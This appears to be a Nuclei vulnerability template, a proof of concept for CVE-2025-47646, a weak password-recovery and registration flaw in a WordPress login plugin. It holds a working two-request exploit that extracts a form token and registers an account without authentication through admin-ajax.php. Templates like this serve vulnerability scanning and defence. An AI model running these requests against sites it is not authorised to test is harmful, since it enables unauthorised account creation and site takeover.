PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
PoC
id: CVE-2025-47646
info:
name: PSW Front-end Login & Registration 1.13 - Weak Password Recovery
author: pussycat0x
severity: critical
description: |
PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
impact: |
Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.
remediation: |
Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.
reference:
- https://github.com/RootHarpy/CVE-2025-47646
- https://github.com/Nxploited/CVE-2025-47646
- https://patchstack.com/database/wordpress/plugin/psw-login-and-registration/vulnerability/wordpress-psw-front-end-login-registration-1-12-broken-authentication-vulnerability?_s_id=cve
- https://github.com/PuddinCat/GithubRepoSpider
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47646
cwe-id: CWE-640
epss-score: 0.24936
epss-percentile: 0.978
tags: cve,cve2025,wordpress,wp-plugin,psw,intrusive,vuln
variables:
username: "{{randstr}}"
password: "{{randstr}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: word
part: body
words:
- "psw_registration"
- "pswlogform"
- "/wp-content/plugins/psw-login-and-registration"
condition: and
internal: true
extractors:
- type: regex
name: token
group: 1
regex:
- 'name="pswforgetform" value="(.*?)"'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}
first_name={{username}}&last_name={{username}}&new_user_name={{username}}&new_user_email={{email}}&new_user_password={{password}}&new_user_password_confirmation={{password}}&action=register_user_front_end&psw_form={{token}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "{{username}}","activation link")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402205614a88c02790a0d79ed033ac1807b2805325e84a32e679352438ef743d29bbf02203c8873b9e828b61aee2fed1c68c1fd47ec72556f094f7be95b0d1c7af7df5634:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.